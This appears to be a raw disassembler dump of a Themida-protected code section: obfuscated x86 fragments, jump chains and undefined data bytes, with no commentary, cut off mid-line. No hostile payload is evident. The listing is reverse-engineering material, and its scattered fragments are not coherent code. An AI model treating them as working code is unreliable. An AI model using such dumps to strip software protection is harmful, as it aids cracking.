Themida_:0055432Aj or eax, eax jz loc_55BB16 push dword ptr [edi+1Ch] jmp loc_559D67 ; --------------------------------------------------------------------------- db 0FFh dd 525A2434h, 0BF1E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560622: ; CODE XREF: Themida_:00558F90j pop ecx push eax pop ebp mov eax, [esp] jmp loc_557B03 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0C4h dd 0E9362E07h, 0FFFF628Bh, 240C8966h, 0FF86B5E9h, 0CFC381FFh dd 296FB263h, 86E8E9EBh, 98E9FFFFh, 89FFFF0Eh, 5E542434h dd 4C681h, 3680000h, 89000027h, 2BF243Ch, 81000000h, 900421EEh dd 4ABB533Fh, 295BED18h, 0EFE95BDEh, 8FFFFFDFh, 0B2E98704h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560687: ; CODE XREF: Themida_:0055B149j add edi, 47E82D70h jmp loc_566DB3 ; --------------------------------------------------------------------------- dw 0C483h dd 3F0CE904h, 0C870000h, 24248B24h, 2896664h, 0FF0E42E9h db 0FFh ; --------------------------------------------------------------------------- loc_5606A9: ; CODE XREF: Themida_:0056340Aj xor ecx, 0F0703E99h add edx, ecx pop ecx jmp loc_5514FE ; --------------------------------------------------------------------------- db 81h dd 0C10BF9EBh, 81FB2943h, 0C10BF9C3h, 0EB815F43h, 0F9ECC1F0h dd 4BA1BF57h, 0FE294577h, 3A2DE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606DA: ; CODE XREF: Themida_:0055C410j pop edx push eax mov eax, 1 jmp loc_553D33 ; --------------------------------------------------------------------------- dw 5058h dd 4E5E5856h, 627BE996h, 88B2FFFFh, 0FF17D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5606F9: ; CODE XREF: Themida_:005580AAj mov ebx, 1EBF2523h shr ebx, 6 sub ebx, 5D675F24h add ebx, 0CB7E7389h xor esi, ebx pop ebx push esi add dword ptr [esp], 136C1736h jmp loc_55336D ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 0FF3C3CE9h, 685358FFh, 4721053Fh, 0FF2D32E9h, 243C8BFFh dd 8104C483h, 2C1h, 240C8700h, 3824248Bh, 96E99CC1h, 81FFFF48h dd 8714F8F2h, 5AD03170h, 48BC301h, 5866E924h, 0EB81FFFFh dd 0C018BBC9h, 34FFD909h, 23A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56076E: ; CODE XREF: Themida_:0055DE05j mov esp, [esp] push eax push esi jmp loc_553A55 ; --------------------------------------------------------------------------- loc_560778: ; CODE XREF: Themida_:00556EB3j mov ebx, [esp] add esp, 4 sub edx, 4BD71657h jmp loc_564DC9 ; --------------------------------------------------------------------------- dd 3C9DBD55h, 46E97504h, 33000014h, 248B243Ch, 37546824h dd 4890000h, 4B91E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5607AA: ; CODE XREF: Themida_:00560CF6j mov dl, 5 add dl, 0FFh jmp loc_563CED ; --------------------------------------------------------------------------- loc_5607B4: ; CODE XREF: Themida_:00556BB4j pop esi jmp loc_55A27E ; --------------------------------------------------------------------------- dw 0C280h dd 0BFEA801Dh, 148BD700h, 4C48124h, 68000000h, 232Fh, 0E9241489h dd 4FF7h, 4C481h, 0E9500000h, 1CB5h, 0D3F6EAB3h, 0F380C3FEh dd 19CB8083h, 8859F380h, 0F3E95BD8h, 8BFFFF23h, 0C483241Ch dd 90685104h, 8900004Eh, 0E959242Ch, 0FFFF48E3h ; --------------------------------------------------------------------------- loc_560810: ; CODE XREF: Themida_:00554BECj dec ecx jmp loc_55986F ; --------------------------------------------------------------------------- dw 0C80Fh dd 740268h, 24048900h, 0FFBBCEE9h, 4E1C1FFh, 6794BA52h dd 0EA814788h, 172B63A5h, 30CA814Ah, 0C167E954h, 0F28103EAh dd 0C114888Bh, 15AD101h, 240C8BCAh, 81E68956h, 4C6h, 4C68100h dd 0E9000000h, 0FFFF8DBCh, 23B4EE81h, 0F70967CAh, 0C795E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56086E: ; CODE XREF: Themida_:005523A6j mov ebp, [esp] add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_55C436 ; --------------------------------------------------------------------------- db 83h dd 0C48104C4h, 4, 0FFE9F6E9h, 2434FFFFh, 0FF3B55E9h db 0FFh ; --------------------------------------------------------------------------- loc_560895: ; CODE XREF: Themida_:005647B4j mov edi, edx pop edx mov esi, edi mov edi, [esp] jmp loc_55E418 ; --------------------------------------------------------------------------- word_5608A2 dw 8B66h ; DATA XREF: Themida_:00551498o dd 87682404h, 89000022h, 0F8E9242Ch, 5AFFFF21h, 0DD35ED81h dd 0EE8982DAh, 5EF7015Dh, 4247C01h, 0EC81595Fh, 4, 0E9240489h dd 0FFFF88C7h, 0D1E909B6h, 81FFFFAAh, 79D7CFEEh, 8BF231D3h dd 67E92434h, 1000061h, 0E7E959CAh, 1FFFF52h, 2434FFC7h dd 6397E9h db 0 ; --------------------------------------------------------------------------- loc_5608FD: ; CODE XREF: Themida_:00557153j mov ah, 86h jmp loc_552E93 ; --------------------------------------------------------------------------- dd 8124048Fh, 4ECh, 24048900h, 4B8h, 246C8100h, 6C497C04h dd 45C3E925h, 504DFFFFh, 677705B8h, 58C529A4h, 0D8E9EF89h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560933: ; CODE XREF: Themida_:00564CB9j add esp, 4 sub eax, ecx push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, eax push 4881h jmp loc_5599D7 ; --------------------------------------------------------------------------- loc_56094C: ; CODE XREF: Themida_:00564A02j add [esp+4], ebp pop ebp pop ebx sub ebx, 7CF2543Ah mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 58F50DDh dec ebp sub ebp, 0C78BE527h and ebx, ebp jmp loc_55A926 ; --------------------------------------------------------------------------- loc_56097D: ; CODE XREF: Themida_:00561D7Dj push ebx mov bl, 6Dh add bl, 0E6h push edx jmp loc_556711 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 9130E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560992: ; CODE XREF: Themida_:0056409Cj mov edi, 4EE569EEh mov ebx, edi mov edi, [esp] add esp, 4 push 2880h mov [esp], ebp jmp loc_55F0B3 ; --------------------------------------------------------------------------- aSas db 'пИ─Им',0 dw 0E9C8h dd 0FFFFD9E2h ; --------------------------------------------------------------------------- loc_5609B8: ; CODE XREF: Themida_:00566737j push esi mov esi, 0FFFFFFFFh jmp loc_560BB5 ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 88B25224h, 0E913EA80h, 4737h ; --------------------------------------------------------------------------- loc_5609D4: ; CODE XREF: Themida_:005598E9j push 7201h jmp loc_55E763 ; --------------------------------------------------------------------------- loc_5609DE: ; CODE XREF: Themida_:0055739Bj sub esp, 4 mov [esp], ebp mov ebp, 2C500AEDh jmp loc_5640E4 ; --------------------------------------------------------------------------- byte_5609F1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00551254o aXhN db 'Xh',1Bh,'n',0 align 2 dw 2C89h dd 4EC8124h, 0E9000000h, 0FFFF17B4h, 0BEE9D029h, 83FFFF1Eh dd 8FE904C4h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A17: ; CODE XREF: Themida_:0056003Bj mov ecx, [esp] jmp loc_55387D ; --------------------------------------------------------------------------- loc_560A1F: ; CODE XREF: Themida_:005618E3j mov [esp], edx push dword ptr [esp+4] jmp loc_556BE5 ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 242C8924h, 69B96851h, 76E95BF5h, 81FFFF0Eh dd 2D7D1DC5h, 51DDF717h, 0E78ABA52h, 84E9C80Bh db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A53: ; CODE XREF: Themida_:00551D82j sub eax, 6256E47Ch add esi, eax pop eax xchg esi, [esp] pop esp mov esi, eax pop eax xor eax, esi mov esi, [esp] push edi mov edi, esp jmp loc_55EDFF ; --------------------------------------------------------------------------- loc_560A6F: ; CODE XREF: Themida_:00562175j mov edx, [esp] add esp, 4 pop ecx push 5723h mov [esp], ecx mov ecx, ebp mov eax, ecx pop ecx push dword ptr [esp] pop ebp jmp loc_5562E5 ; --------------------------------------------------------------------------- byte_560A8F db 66h ; DATA XREF: Themida_:00551324o dd 0E9240C8Bh, 3BC7h, 5F63E281h, 0EAC139A6h, 34EA8107h dd 100004Ch, 0EC815AD3h, 4, 0E9240C89h, 0FFFF7F33h, 26DDBD55h dd 6C0105BBh, 585D0424h, 0BB26DD2Dh, 0C7015F05h, 0C2BD5558h dd 810F302Ah, 0E6673BF5h, 11CBE94Fh, 0D5080000h, 0FF3B6AE9h dd 58BE56FFh, 0F71C244Fh, 5E6C1D6h, 0FFB876E9h, 81FA01FFh dd 0FE562DEAh, 62E95F4Dh, 50000034h, 0E7887CB4h, 1EF8058h dd 8007E7C0h, 0C730B3C7h, 1268E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560B1A: ; CODE XREF: Themida_:0055B688j add al, bl add al, 0A9h push dx jmp loc_55B888 ; --------------------------------------------------------------------------- db 0E9h, 0C1h, 9 db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B2A: ; CODE XREF: Themida_:00566188j pop ebp jmp loc_55246A ; --------------------------------------------------------------------------- dd 5C243C87h, 0FF93F3E9h, 3FE958FFh db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B3F: ; CODE XREF: Themida_:0056189Aj add esp, 4 or ebp, 34AE6B0Bh not ebp shl ebp, 1 sub ebp, 0E812948h push eax jmp loc_564D75 ; --------------------------------------------------------------------------- db 1 dd 0EA815FFAh, 4, 2474FF52h, 48F5A04h, 2C895C24h, 7A526824h dd 4CE90000h, 9FFFF55h, 0BD555BD9h, 5A33103Eh, 0FF55DEE9h dd 84CB1FFh, 2A6BE9CAh, 0F181FFFFh, 1FD0E7Ch, 8759CF01h dd 0C05C243Ch, 0F18003E9h, 59C830D8h, 0FE0BB252h, 0D5CA80C2h dd 45F4E9h db 0 ; --------------------------------------------------------------------------- loc_560BB5: ; CODE XREF: Themida_:005609BEj mov ebp, esi jmp loc_5616C6 ; --------------------------------------------------------------------------- loc_560BBC: ; CODE XREF: Themida_:005621ECj add edi, 51DF7542h pop ebx and eax, edi push dword ptr [esp] mov edi, [esp] jmp loc_562834 ; --------------------------------------------------------------------------- loc_560BD0: ; CODE XREF: Themida_:0055A48Aj push ebx jmp loc_554981 ; --------------------------------------------------------------------------- loc_560BD6: ; CODE XREF: Themida_:00565DDCj xor eax, ecx jmp loc_56270C ; --------------------------------------------------------------------------- db 81h, 0EFh, 75h dd 5FD2A2Eh, 41411E28h, 0FF8539E9h, 27BD55FFh, 0E9B0E6CEh dd 476Dh, 328EE981h, 835B1DAEh, 0B16804E9h, 8900002Ah dd 74FF240Ch, 34FF0424h, 2434FF24h, 4C48359h, 8904EC83h dd 5E542434h, 1E98E9h db 0 ; --------------------------------------------------------------------------- loc_560C25: ; CODE XREF: Themida_:0055C78Fj add edi, ebp pop ebp jmp loc_55A5D1 ; --------------------------------------------------------------------------- db 81h, 0F6h, 43h dd 1204447h, 0C3835EF3h, 241C8704h, 24048F5Ch, 4355E9h db 0 ; --------------------------------------------------------------------------- loc_560C45: ; CODE XREF: Themida_:0055F7ACj add dword ptr [esp], 4 pop edx push ebp mov ebp, 4 sub edx, 52306AF4h add edx, ebp add edx, 52306AF4h pop ebp add edx, 4 jmp loc_5633A2 ; --------------------------------------------------------------------------- dw 0A2BAh dd 316AEF55h, 24148BD5h, 2AB5E9h, 0E9E88900h, 0FFFF780Ah dd 5C243C87h, 53240C89h, 0C3B75350h, 88FA8852h, 885B5AD0h dd 0E7C058C7h, 0C0CFFE07h, 506605EFh, 0E72044B4h, 0F7805866h dd 8BFD881Ch, 0C483241Ch, 48546804h, 0EFE90000h, 81FFFFBCh dd 1C7h, 0C1C78100h, 31FE556Ch, 0F7505FF8h, 50582414h dd 33240C31h, 0C31240Ch, 87D1F724h, 0C158240Ch, 0B95108E8h dd 269422C8h, 0FF191AE9h db 0FFh ; --------------------------------------------------------------------------- loc_560CED: ; CODE XREF: Themida_:0055DC7Dj sub esp, 4 mov [esp], edx jmp loc_5607AA ; --------------------------------------------------------------------------- db 89h dd 1AE92404h, 3300003Ah, 0C31240Ch, 0B7FAE924h, 1C33FFFFh dd 24D35C24h, 0D0E99C24h, 5DFFFF07h, 3CFBED81h, 0C8B3134h dd 4C48324h, 0FF48DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_560D2D: ; CODE XREF: Themida_:0055E453j or eax, eax jmp loc_556B06 ; --------------------------------------------------------------------------- loc_560D34: ; CODE XREF: Themida_:00556E4Fj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 0FDA1DBCEh jmp loc_564DB8 ; --------------------------------------------------------------------------- loc_560D54: ; CODE XREF: Themida_:00557F19j pop ecx sub esp, 4 mov [esp], ecx push esp pop ecx push edi jmp loc_565959 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5E0424h, 895C2404h, 74E9240Ch, 2DFFFF07h, 700D5AAAh dd 0C30392Dh, 242C8B12h, 0E904C483h, 0FFFFDAC1h, 242C335Bh dd 33242C31h, 0A8E9242Ch db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D9B: ; CODE XREF: Themida_:00556050j add ebx, 7905374Ch jmp loc_55F34F ; --------------------------------------------------------------------------- dw 0DA87h dd 0BEE8E95Bh, 2D66FFFFh, 665B6C59h, 6609D205h, 8DB96651h dd 0C8016666h, 5665966h, 8B667AE1h, 59E92434h, 31FFFFBCh dd 14332414h, 24248B24h, 0FF070EE9h db 0FFh ; --------------------------------------------------------------------------- loc_560DDD: ; CODE XREF: Themida_:00566296j shl edi, 4 xor edi, 0F16B5014h mov ebp, edi pop edi xor eax, ebp mov ebp, [esp] jmp loc_55E06D ; --------------------------------------------------------------------------- db 89h dd 7ABA2414h, 0E932F06Ah, 2BD0h, 0F000BDB6h, 0FFEDD7E9h dd 0ADC181FFh, 1334D27h, 0ADE981C1h, 8B334D27h, 0C4832404h dd 3E97E904h, 0C981FFFFh, 738E2A14h, 0E9FFC183h, 4141h ; --------------------------------------------------------------------------- loc_560E30: ; CODE XREF: Themida_:00563A4Cj mov edi, [esp] add esp, 4 push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_564CDA ; --------------------------------------------------------------------------- db 0BAh dd 193B51C1h, 0FFD547E9h, 96C981FFh, 811B5D11h, 0B77D42E9h dd 90C18138h, 0E91D39EBh, 0FFFF77F3h, 54243489h, 0BD55525Eh dd 2F876D3Bh, 0E3ED8145h, 4D1A152Bh, 2ED8ED81h, 49681008h dd 0E900006Ah, 0FFFF531Bh ; --------------------------------------------------------------------------- loc_560E98: ; CODE XREF: Themida_:005517A6j mov [esp], ebx push edx mov edx, 2D7F0F7Bh jmp loc_55FE01 ; --------------------------------------------------------------------------- loc_560EA6: ; CODE XREF: Themida_:00553FF9j push esp pop ebx add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_555D4B ; --------------------------------------------------------------------------- loc_560EBC: ; CODE XREF: Themida_:00552B6Cj sub esp, 4 jmp loc_55BC66 ; --------------------------------------------------------------------------- loc_560EC4: ; CODE XREF: Themida_:00552218j mov eax, [esp] jmp loc_55B001 ; --------------------------------------------------------------------------- dd 8155F529h, 3984242Ch, 815E3DBEh, 0BE3984C6h, 0FCE95D3Dh dd 81000041h, 80413DEEh, 22E956A9h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560EEF: ; CODE XREF: Themida_:00557C00j push esp pop edx add edx, 4 jmp loc_55E9AE ; --------------------------------------------------------------------------- dd 0E9FC2059h, 0FFFF43BBh, 4EC81h, 8F540000h, 59E92404h dd 87000054h, 0A3E92414h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F1B: ; CODE XREF: Themida_:00564DA0j add esp, 4 push eax mov eax, 45E038B3h jmp loc_559E3B ; --------------------------------------------------------------------------- loc_560F2C: ; CODE XREF: Themida_:0055DF4Bj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h db 0C3h byte_560F31 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00551208o db '$h}%',0 align 2 dw 489h aTxhma db '$TXh╛A',0 align 4 dd 0BE243489h, 4, 0B97DA705h, 2DF00151h, 51B97DA7h, 0FF17BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_560F5D: ; CODE XREF: Themida_:0056514Aj pop esp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_564E4A ; --------------------------------------------------------------------------- loc_560F70: ; CODE XREF: Themida_:0055514Dj push ebx jmp loc_551C21 ; --------------------------------------------------------------------------- dw 0D601h dd 4C6815Ah, 87000000h, 248B2434h, 0C02D24h, 0AE97FF6h db 7, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F8F: ; CODE XREF: Themida_:0055CCC7j pop eax pop edx mov eax, [esp] add esp, 4 jmp loc_554726 ; --------------------------------------------------------------------------- loc_560F9C: ; CODE XREF: Themida_:0055F3D6j xor ebx, [edi+24h] push ecx mov ecx, 24h add ecx, edi xor [ecx], ebx pop ecx sub ebx, 0FFFFFFFFh sub esp, 4 mov [esp], eax mov eax, 24h add eax, 33326282h add eax, edi jmp loc_5528EF ; --------------------------------------------------------------------------- loc_560FC7: ; CODE XREF: Themida_:0055625Aj xchg esi, [esp] pop esp jmp loc_5521E0 ; --------------------------------------------------------------------------- loc_560FD0: ; CODE XREF: Themida_:00559239j push dword ptr [esp] pop ebp add esp, 4 jmp loc_5618D8 ; --------------------------------------------------------------------------- dd 8102E2C1h, 0BA6AF2EAh, 81DAF75Ch, 0BA02CDE2h, 0B8BEE931h dd 0BA52FFFFh, 3CB44BCDh, 0F281DAF7h, 8041F5F2h, 535AD629h dd 5473E9h, 732D4800h, 21865694h, 0BF5758C2h, 1, 0CCE9FA01h dd 6800000Ah, 2E45h, 56240489h, 1368E9h, 4C08300h, 0E9240487h dd 578h ; --------------------------------------------------------------------------- loc_561038: ; CODE XREF: Themida_:0055F074j mov edx, 997F84h mov ebx, 0AAC3B25h xor ebx, 636AF325h add ebx, edx pop edx jmp loc_552CC2 ; --------------------------------------------------------------------------- dd 38F7BA52h, 0C2817077h, 0F8E6E329h, 7EE9D689h, 87FFFF46h dd 0AA26E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56106A: ; CODE XREF: Themida_:0055F0BBj push dword ptr [esp] pop ebp add esp, 4 add ebp, ebx pop ebx push 21ABh mov [esp], edi jmp loc_5557EF ; --------------------------------------------------------------------------- dd 2D85EB81h, 0CB012CCAh, 2D85C381h, 21E92CCAh, 40FFFFA6h dd 0E7F8772Dh, 4B05E997h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5610A2: ; CODE XREF: Themida_:0055942Aj add ebx, ebp pop ebp mov ecx, [esp] jmp loc_55412D ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 0C7885324h, 88F88850h, 1CE958C6h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610BF: ; CODE XREF: Themida_:0056357Cj push 4 push dword ptr [esp] mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_564D7C ; --------------------------------------------------------------------------- dw 0ED81h dd 36020731h, 649AE957h, 0E829FFFFh, 2E8F685Dh, 3C890000h dd 1CE76824h, 815F62AFh, 444DCAC7h, 91C78129h, 0E9670900h dd 2CF0h, 4EC81h, 0FEE90000h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561117: ; CODE XREF: Themida_:0055DB3Aj mov edx, 2F5F16F8h and edx, 72031C86h xor edx, 3C7C1FE6h jmp loc_556741 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C481h, 8E350000h, 251ABC37h, 7F402524h, 516668h, 24148900h dd 0C711F8BAh, 0F5F9E941h, 6866FFFFh, 896602AAh, 8CE92404h dd 57FFFF03h, 0C781E789h, 4, 4C781h, 3C870000h, 0D4E95C24h dd 0FEFFFFB6h, 53EA80CAh, 0E95AD500h, 0FFFF70D8h, 0EF713ABDh dd 36116803h, 1C890000h, 108FBB24h, 0C58115F8h, 76D1586Bh dd 0ED81DD29h, 76D1586Bh, 0FFED835Bh, 0F753DD87h, 875B241Ch dd 0E9D5F7DDh, 318Fh, 4C581h, 0BB530000h, 35E3745h, 7313F381h dd 0DBF7499Dh, 566AE9h db 0 ; --------------------------------------------------------------------------- loc_5611D1: ; CODE XREF: Themida_:005568E6j xor ecx, ebp xor ebp, ecx xor ecx, ebp xchg eax, ecx push eax push dword ptr [esp+4] pop eax jmp loc_5641DD ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9490400h, 0FFFF4163h, 3D72DDBFh, 8EFC16Dh, 17C7EF81h dd 0FA89C9B0h, 0FF1D05E9h db 0FFh ; --------------------------------------------------------------------------- loc_561205: ; CODE XREF: Themida_:0056151Aj add ebx, ecx pop ecx jmp loc_55E458 ; --------------------------------------------------------------------------- loc_56120D: ; CODE XREF: Themida_:00558B05j push ecx jmp loc_558F8F ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0C2810000h, 4, 5C241487h, 0E91C5F21h, 0FFFF4407h ; --------------------------------------------------------------------------- loc_56122C: ; CODE XREF: Themida_:0055290Cj sub esp, 4 mov [esp], eax mov esi, [esp] push esi jmp loc_55EBD8 ; --------------------------------------------------------------------------- db 0B5h dd 0B2B15163h, 8003E1C0h, 0B753B6E1h, 5BF9003Eh, 0FF938FE9h dd 0C0B8B1FFh, 94E906E9h, 89000046h, 34FF2414h, 0C4835B24h dd 0D8015A04h, 5B2434FFh, 3AFE68h, 24148900h, 0C2815A54h dd 4, 4BB5355h, 89000000h, 2434FFDDh, 63E9515Bh db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56128F: ; CODE XREF: Themida_:00553982j xchg eax, [esp] jmp loc_552D94 ; --------------------------------------------------------------------------- db 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55FAFD ; --------------------------------------------------------------------------- dd 592434FFh, 51F4E9h db 0 ; --------------------------------------------------------------------------- loc_5612A9: ; CODE XREF: Themida_:0056646Aj push ebx mov ebx, 8F421ACEh jmp loc_555709 ; --------------------------------------------------------------------------- dd 6925ED81h, 0DD010227h, 4DFEE9h, 0D0B95100h, 814CE627h dd 0EB0885E1h, 84F18130h, 100E200h, 9F25E9CAh, 7DBEFFFFh dd 0E93F083Ah, 0FFFF8A08h, 4C481h, 86E90000h, 51FFFF1Dh dd 493F6852h, 2C890000h, 5FBA5224h, 51590B30h, 0CD89D189h dd 0FF1406E9h, 0BB5352FFh, 4, 1C8BDA89h, 7FBEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56131A: ; CODE XREF: Themida_:005549A0j push ecx jmp loc_56389D ; --------------------------------------------------------------------------- dd 0F604E0C0h, 24C8FED8h, 51322CEAh, 0DDF641B5h, 0E907F580h dd 0FFFF4335h ; --------------------------------------------------------------------------- loc_561338: ; CODE XREF: Themida_:0055FBACj inc ecx jmp loc_55B1C2 ; --------------------------------------------------------------------------- loc_56133E: ; CODE XREF: Themida_:00558AC3j sub bl, ch pop ecx pop ecx neg bl sub esp, 4 jmp loc_563520 ; --------------------------------------------------------------------------- loc_56134C: ; CODE XREF: Themida_:00563EFCj pop edx jmp loc_55E0CC ; --------------------------------------------------------------------------- dw 815Ah dd 2EBh, 241C3300h, 0FF5958E9h, 5AD001FFh, 1F402C2Dh, 58C7890Bh dd 5602E7C1h, 5862E9h, 64B15100h, 77B25266h, 8063EA80h dd 0A2E943F2h, 81000059h, 0F23CBAEFh, 81D70150h, 0F23CBAC7h dd 0FCBE5650h, 0E92EB133h, 0FFFF2BCEh, 2A68CB81h, 0F3810E29h dd 2260121Ah, 698DCB81h, 0C7E9349Ah, 1FFFFE9h, 38E95BDFh dd 52FFFF93h, 0FF9811E9h, 242C89FFh, 0DB3EE568h, 242C8B5Eh dd 0E904C483h, 5724h ; --------------------------------------------------------------------------- loc_5613D8: ; CODE XREF: Themida_:00555A19j add ebp, 550BF9B9h sub edx, 760A728Ah add edx, ebp add edx, 760A728Ah pop ebp jmp loc_561872 ; --------------------------------------------------------------------------- dw 5B54h dd 4C381h, 53500000h, 0C0368h, 0AE7EE900h, 9BBDFFFFh, 8168EA12h dd 0B56BF1CDh, 85E5815Bh, 56527D4Dh, 0E9082EBEh, 50CE8134h dd 8120BD26h, 3616B0EEh, 0CBCE8122h, 0F74FC730h, 31EE81D6h dd 29A038C8h, 0CD815EF5h, 0D533A8h, 0FFFFC581h, 0B850FFFFh dd 3B6162BFh, 4E630D48h, 5235218Ch, 0E9691015h, 3447h ; --------------------------------------------------------------------------- loc_56145C: ; CODE XREF: Themida_:0055EA8Cj add ebp, 2E510717h mov ecx, [esp] jmp loc_55845D ; --------------------------------------------------------------------------- loc_56146A: ; CODE XREF: Themida_:0055C989j xor edx, edi jmp loc_566CC7 ; --------------------------------------------------------------------------- byte_561471 db 0ADh, 52h, 0E9h ; DATA XREF: Themida_:00551458o dd 91Ah, 4C681h, 0C6830000h, 0E1EDE904h, 0F729FFFFh, 83D7015Eh dd 0C8904ECh, 18BA5224h, 814E3707h, 0F97C79F2h, 21FFE939h dd 6EB20000h, 0FF62C4E9h, 4C483FFh, 57EABA52h, 75E9F2DDh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614B7: ; CODE XREF: Themida_:00552EB5j push esp pop eax add eax, 4 add eax, 4 push eax jmp loc_55FB93 ; --------------------------------------------------------------------------- db 0BFh dd 9742905h, 0D0E9F909h, 81000011h, 853F7BC6h, 5EF329B3h dd 0FFAF17E9h, 34E95BFFh, 0B7FFFF3Eh, 28722C9Ch, 0D4ECE9F8h dd 0C181FFFFh, 4, 5C240C87h, 4C181h, 0B3E90000h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561507: ; CODE XREF: Themida_:0055B655j add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_561205 ; --------------------------------------------------------------------------- db 89h dd 0F0682424h, 89000044h, 4BD242Ch, 1000000h, 0E904246Ch dd 0FFFFD413h, 33243431h, 575C2434h, 0C781E789h, 4, 4BD55h dd 0C7810000h, 12585C5Ch, 0EC83EF01h, 24348904h, 0FC0AA2BEh dd 0B8E68112h, 0F71DEB7Fh, 0EE814ED6h, 0FFFFFFFFh, 9903EE81h dd 60E9DCBFh, 81000046h, 4C6h, 24348700h, 549CE95Ch, 0C681FFFFh dd 4, 592BB850h, 0BB5301EEh, 1, 47E9D801h, 68FFFFEFh, 3919h dd 0E9241489h, 0FFFFBD8Eh, 1696E95Ch, 34FFFFFFh, 0E427E924h dd 0DDF7FFFFh, 0AE9E5D1h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615C7: ; CODE XREF: Themida_:005570B2j add ebx, eax jmp loc_55198B ; --------------------------------------------------------------------------- loc_5615CE: ; CODE XREF: Themida_:0055AB83j mov edx, [esp] push edx mov edx, esp jmp loc_55A5C6 ; --------------------------------------------------------------------------- db 53h, 0E9h, 53h dd 68000014h, 5D23h, 0B9240C89h, 73AB0378h, 0BB53D9F7h dd 381A2D61h, 16C181h, 0D9014BD9h, 16BE56h, 87E94BD9h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561607: ; CODE XREF: Themida_:0055F447j pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] pop esp jmp loc_5545DE ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 5324248Bh, 4BA5E9h dd 24042900h, 4F2F0D58h, 9BE9474Eh, 8F000027h, 895C2404h dd 0B7E92414h db 68h, 2 dup(0FFh) byte_561667 db 68h ; DATA XREF: Themida_:00551450o dd 1D5Ch, 0E9241489h, 0FFFF9B62h, 0F3800FB3h, 5BDD0072h dd 0E99CED80h, 33AEh, 8158C129h, 710385F1h, 0FFE98152h dd 81FFFFFFh, 6BD9E3F1h, 59CA0182h, 0B5DDE951h, 0C89FFFFh dd 4EC8324h, 68242C89h, 6103h, 68240489h, 2F6375D9h, 0E924048Bh dd 0FFFF2D00h, 0B714E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5616C6: ; CODE XREF: Themida_:00560BB7j pop esi add ecx, ebp jmp loc_55FB2E ; --------------------------------------------------------------------------- loc_5616CE: ; CODE XREF: Themida_:00562C5Bj push eax pop ebx pop eax push eax mov eax, 64272EA9h and eax, 0CFE2D94h jmp loc_5587BE ; --------------------------------------------------------------------------- loc_5616E1: ; CODE XREF: Themida_:0055361Fj mov [esp], ebp pop ecx mov ebp, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 8CFh mov [esp], ebp not dword ptr [esp] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55425F ; --------------------------------------------------------------------------- db 66h dd 53240C8Bh, 0FFFCD1E9h, 4C281FFh, 83000000h, 0C0E904EAh dd 8B000029h, 54552404h, 4C5815Dh, 50000000h, 4B8h, 0E9C50100h dd 0FFFFB01Bh, 0C1776EBEh, 5EF32912h, 4C3835Dh, 52A268h dd 241C8900h, 284AE9h db 0 ; --------------------------------------------------------------------------- loc_561761: ; CODE XREF: 